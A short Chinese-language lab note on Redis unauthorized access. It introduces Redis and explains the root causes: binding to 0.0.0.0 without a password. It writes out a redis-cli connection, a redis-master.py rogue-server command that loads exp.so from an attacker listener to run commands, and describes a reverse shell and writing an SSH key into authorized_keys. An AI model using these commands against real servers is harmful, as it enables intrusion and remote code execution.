redis未授权
Redis服务简介
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。
Redis 与其他 key - value 缓存产品有以下三个特点:
- Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
- Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
- Redis支持数据的备份,即master-slave模式的数据备份。
redis默认开放端口是6379
漏洞复现
可直接登录redis服务器
redis-cli -h 192.168.186.1
可直接利用poc对未授权的redis进行rce
python3 redis-master.py -r 192.168.186.1 -p 6379 -L 192.168.186.2 -P 8888 -f RedisModulesSDK/exp.so -c "id"
也可以直接用exp来getshell
反弹shell建立链接
漏洞成因
1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
Redis默认情况下,会绑定在0.0.0.0:6379,如果么有进行采用相关策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会把redis服务暴露到公网上如果没有设置密码认证(一般为空)的情况下
会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权的放问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh
公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对用私钥直接使用ssh服务登录目标服务器。
参考文章
https://www.cnblogs.com/bmjoker/p/9548962.html